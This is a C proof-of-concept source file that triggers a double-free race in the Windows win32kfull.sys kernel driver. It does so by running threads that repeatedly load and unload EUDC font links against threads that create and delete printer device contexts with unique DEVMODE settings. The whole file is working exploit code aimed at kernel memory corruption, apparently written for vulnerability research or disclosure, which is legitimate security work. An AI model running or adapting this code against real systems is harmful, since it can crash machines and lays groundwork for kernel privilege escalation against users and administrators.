/*
 * eudc_unique_pdev: POC for the win32kfull.sys HDEV_DeleteRfontsAndUnload-
 * DeviceFonts EUDC RFONT race (double free).
 * This file: https://tinysec.net/post/2026/08/win32k-hdev-delete-rfonts-eudc-rfont-race/file/poc.c
 *
 * Feature_Servicing_FixEudcRfontRace is 0x56 (fix OFF).
 * Default CreateDC reuses a cached PDEV so vUnreferencePdevWorker
 * never runs. A unique DEVMODE (paper size / resolution) should
 * allocate a fresh PDEV; last DeleteDC drops ref to 0 and
 * HDEV_DeleteRfontsAndUnloadDeviceFonts walks prfntInactive unlocked
 * while EUDC unload does prfntDeactivateEudcRFONTs + vKillEudcRFONTs.
 */

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>
#include <winspool.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "winspool.lib")

static volatile LONG g_stop;
static volatile LONG g_dcs;
static volatile LONG g_dc_fail;
static volatile LONG g_loads;
static volatile LONG g_unloads;
static volatile LONG g_texts;
static volatile LONG g_unique;

typedef BOOL (WINAPI *PFN_EnableEUDC)(BOOL);
typedef BOOL (WINAPI *PFN_EudcLoadLinkW)(LPCWSTR, LPCWSTR, INT, INT);
typedef BOOL (WINAPI *PFN_EudcUnloadLinkW)(LPCWSTR, LPCWSTR);

static PFN_EnableEUDC g_EnableEUDC;
static PFN_EudcLoadLinkW g_EudcLoadLinkW;
static PFN_EudcUnloadLinkW g_EudcUnloadLinkW;
static WCHAR g_font[MAX_PATH];
static WCHAR g_printer[256];
static BYTE *g_devmode_seed;
static DWORD g_devmode_bytes;

static void pick_printer(void)
{
    DWORD needed;
    DWORD returned;
    BYTE *buf;
    PRINTER_INFO_4W *info;
    DWORD i;

    g_printer[0] = 0;
    needed = 0;
    returned = 0;
    EnumPrintersW(
        PRINTER_ENUM_LOCAL | PRINTER_ENUM_CONNECTIONS,
        NULL,
        4,
        NULL,
        0,
        &needed,
        &returned);
    if (0 == needed)
    {
        wcscpy_s(g_printer, 256, L"Microsoft Print to PDF");
        return;
    }

    buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, needed);
    if (NULL == buf)
    {
        wcscpy_s(g_printer, 256, L"Microsoft Print to PDF");
        return;
    }

    if (EnumPrintersW(
            PRINTER_ENUM_LOCAL | PRINTER_ENUM_CONNECTIONS,
            NULL,
            4,
            buf,
            needed,
            &needed,
            &returned))
    {
        info = (PRINTER_INFO_4W *)buf;
        for (i = 0; i < returned; i++)
        {
            if (NULL != info[i].pPrinterName)
            {
                wcscpy_s(g_printer, 256, info[i].pPrinterName);
                if (NULL != wcsstr(info[i].pPrinterName, L"PDF")
                    || NULL != wcsstr(info[i].pPrinterName, L"XPS"))
                {
                    break;
                }
            }
        }
    }

    HeapFree(GetProcessHeap(), 0, buf);
    if (0 == g_printer[0])
    {
        wcscpy_s(g_printer, 256, L"Microsoft Print to PDF");
    }
}

static BOOL load_seed_devmode(void)
{
    HANDLE printer;
    LONG bytes;
    DEVMODEW *dm;

    printer = NULL;
    if (0 == OpenPrinterW(g_printer, &printer, NULL) || NULL == printer)
    {
        return FALSE;
    }

    bytes = DocumentPropertiesW(NULL, printer, g_printer, NULL, NULL, 0);
    if (bytes <= (LONG)sizeof(DEVMODEW))
    {
        ClosePrinter(printer);
        return FALSE;
    }

    g_devmode_seed = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)bytes);
    if (NULL == g_devmode_seed)
    {
        ClosePrinter(printer);
        return FALSE;
    }

    g_devmode_bytes = (DWORD)bytes;
    dm = (DEVMODEW *)g_devmode_seed;
    if (IDOK != DocumentPropertiesW(
            NULL,
            printer,
            g_printer,
            dm,
            NULL,
            DM_OUT_BUFFER))
    {
        HeapFree(GetProcessHeap(), 0, g_devmode_seed);
        g_devmode_seed = NULL;
        ClosePrinter(printer);
        return FALSE;
    }

    ClosePrinter(printer);
    return TRUE;
}

static HDC open_unique_dc(ULONG seq)
{
    BYTE *copy;
    DEVMODEW *dm;
    HDC hdc;

    if (NULL == g_devmode_seed)
    {
        return CreateDCW(L"WINSPOOL", g_printer, NULL, NULL);
    }

    copy = (BYTE *)HeapAlloc(GetProcessHeap(), 0, g_devmode_bytes);
    if (NULL == copy)
    {
        return NULL;
    }

    memcpy(copy, g_devmode_seed, g_devmode_bytes);
    dm = (DEVMODEW *)copy;
    dm->dmFields |= DM_PAPERSIZE | DM_PAPERLENGTH | DM_PAPERWIDTH
        | DM_ORIENTATION | DM_YRESOLUTION | DM_PRINTQUALITY | DM_SCALE;
    dm->dmPaperSize = 0;
    dm->dmOrientation = (0 == (seq & 1)) ? DMORIENT_PORTRAIT : DMORIENT_LANDSCAPE;
    dm->dmPaperLength = (short)(1100 + (seq % 900));
    dm->dmPaperWidth = (short)(700 + ((seq * 7) % 500));
    dm->dmYResolution = (short)(200 + (seq % 400));
    dm->dmPrintQuality = (short)(200 + ((seq * 3) % 400));
    dm->dmScale = (short)(50 + (seq % 80));

    hdc = CreateDCW(L"WINSPOOL", g_printer, NULL, dm);
    if (NULL == hdc)
    {
        hdc = CreateDCW(g_printer, g_printer, NULL, dm);
    }

    HeapFree(GetProcessHeap(), 0, copy);
    return hdc;
}

static void realize_and_park_rfonts(HDC hdc, ULONG seq)
{
    HFONT font_a;
    HFONT font_b;
    HFONT old;
    WCHAR ch;
    RECT rc;
    ULONG i;

    font_a = CreateFontW(
        24 + (int)(seq % 12),
        0,
        0,
        0,
        FW_NORMAL,
        FALSE,
        FALSE,
        FALSE,
        DEFAULT_CHARSET,
        OUT_DEFAULT_PRECIS,
        CLIP_DEFAULT_PRECIS,
        DEFAULT_QUALITY,
        DEFAULT_PITCH,
        L"Arial");
    font_b = CreateFontW(
        32,
        0,
        0,
        0,
        FW_BOLD,
        FALSE,
        FALSE,
        FALSE,
        SHIFTJIS_CHARSET,
        OUT_DEFAULT_PRECIS,
        CLIP_DEFAULT_PRECIS,
        DEFAULT_QUALITY,
        DEFAULT_PITCH,
        L"MS Gothic");

    old = NULL;
    if (NULL != font_a)
    {
        old = (HFONT)SelectObject(hdc, font_a);
    }

    rc.left = 0;
    rc.top = 0;
    rc.right = 400;
    rc.bottom = 200;
    for (i = 0; i < 4; i++)
    {
        ch = (WCHAR)(0xE000 + ((seq + i) & 0xFF));
        TextOutW(hdc, 10, 10 + (int)i * 16, &ch, 1);
        ch = (WCHAR)(0x4E00 + ((seq + i) % 80));
        TextOutW(hdc, 40, 10 + (int)i * 16, &ch, 1);
    }

    DrawTextW(hdc, L"\xE001\xE002\x4E00\x4E01\x9AD8", 5, &rc, DT_LEFT);
    InterlockedIncrement(&g_texts);

    /* Deselect so RFONTs move to the inactive list before DeleteDC. */
    if (NULL != font_b)
    {
        SelectObject(hdc, font_b);
        ch = (WCHAR)(0xE010 + (seq & 0x7F));
        TextOutW(hdc, 80, 10, &ch, 1);
        SelectObject(hdc, GetStockObject(SYSTEM_FONT));
    }
    else if (NULL != old)
    {
        SelectObject(hdc, old);
    }

    if (NULL != font_a)
    {
        DeleteObject(font_a);
    }

    if (NULL != font_b)
    {
        DeleteObject(font_b);
    }
}

static DWORD WINAPI eudc_thread(LPVOID unused)
{
    ULONG i;

    (void)unused;

    for (i = 0; 0 == g_stop && i < 40000; i++)
    {
        if (NULL != g_EnableEUDC)
        {
            g_EnableEUDC(TRUE);
        }

        if (NULL != g_EudcLoadLinkW)
        {
            g_EudcLoadLinkW(NULL, g_font, 0, 1);
            g_EudcLoadLinkW(L"Arial", g_font, 0, 1);
            InterlockedIncrement(&g_loads);
        }

        if (NULL != g_EudcUnloadLinkW)
        {
            g_EudcUnloadLinkW(NULL, g_font);
            g_EudcUnloadLinkW(L"Arial", g_font);
            InterlockedIncrement(&g_unloads);
        }

        if (NULL != g_EnableEUDC && (i & 1) == 0)
        {
            g_EnableEUDC(FALSE);
        }
    }

    return 0;
}

static DWORD WINAPI pdev_thread(LPVOID param)
{
    ULONG i;
    ULONG base;
    HDC hdc;

    base = (ULONG)(ULONG_PTR)param * 10000;

    for (i = 0; 0 == g_stop && i < 8000; i++)
    {
        hdc = open_unique_dc(base + i);
        if (NULL == hdc)
        {
            InterlockedIncrement(&g_dc_fail);
            continue;
        }

        InterlockedIncrement(&g_dcs);
        InterlockedIncrement(&g_unique);
        realize_and_park_rfonts(hdc, base + i);
        DeleteDC(hdc);
    }

    return 0;
}

int main(void)
{
    HMODULE gdi;
    HANDLE threads[8];
    ULONG n;
    ULONG i;
    HDC test;
    DEVMODEW *dm;

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("eudc unique-pdev race (medium)\n");

    gdi = GetModuleHandleW(L"gdi32.dll");
    if (NULL == gdi)
    {
        gdi = LoadLibraryW(L"gdi32.dll");
    }

    g_EnableEUDC = (PFN_EnableEUDC)GetProcAddress(gdi, "EnableEUDC");
    g_EudcLoadLinkW = (PFN_EudcLoadLinkW)GetProcAddress(gdi, "EudcLoadLinkW");
    g_EudcUnloadLinkW = (PFN_EudcUnloadLinkW)GetProcAddress(gdi, "EudcUnloadLinkW");

    wcscpy_s(g_font, MAX_PATH, L"C:\\Windows\\Fonts\\arial.ttf");
    pick_printer();
    if (FALSE == load_seed_devmode())
    {
        printf("seed DEVMODE failed gle=%lu, falling back to default CreateDC\n",
            GetLastError());
    }

    dm = (DEVMODEW *)g_devmode_seed;
    test = open_unique_dc(1);
    printf("EnableEUDC=%p Load=%p Unload=%p printer=%ls testdc=%p gle=%lu seed=%lu paper=%d\n",
        g_EnableEUDC,
        g_EudcLoadLinkW,
        g_EudcUnloadLinkW,
        g_printer,
        test,
        GetLastError(),
        g_devmode_bytes,
        (NULL != dm) ? (int)dm->dmPaperLength : -1);
    if (NULL != test)
    {
        realize_and_park_rfonts(test, 1);
        DeleteDC(test);
    }

    n = 0;
    threads[n++] = CreateThread(NULL, 0, eudc_thread, NULL, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, eudc_thread, NULL, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, eudc_thread, NULL, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, pdev_thread, (LPVOID)1, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, pdev_thread, (LPVOID)2, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, pdev_thread, (LPVOID)3, 0, NULL);
    threads[n++] = CreateThread(NULL, 0, pdev_thread, (LPVOID)4, 0, NULL);

    for (i = 0; i < 8; i++)
    {
        Sleep(8000);
        printf("progress dcs=%ld fail=%ld unique=%ld loads=%ld unloads=%ld texts=%ld\n",
            g_dcs,
            g_dc_fail,
            g_unique,
            g_loads,
            g_unloads,
            g_texts);
    }

    g_stop = 1;
    WaitForMultipleObjects(n, threads, TRUE, 60000);

    for (i = 0; i < n; i++)
    {
        if (NULL != threads[i])
        {
            CloseHandle(threads[i]);
        }
    }

    if (NULL != g_devmode_seed)
    {
        HeapFree(GetProcessHeap(), 0, g_devmode_seed);
    }

    printf("alive dcs=%ld fail=%ld unique=%ld loads=%ld unloads=%ld texts=%ld\n",
        g_dcs,
        g_dc_fail,
        g_unique,
        g_loads,
        g_unloads,
        g_texts);
    printf("eudc_unique_pdev done alive\n");
    return 0;
}
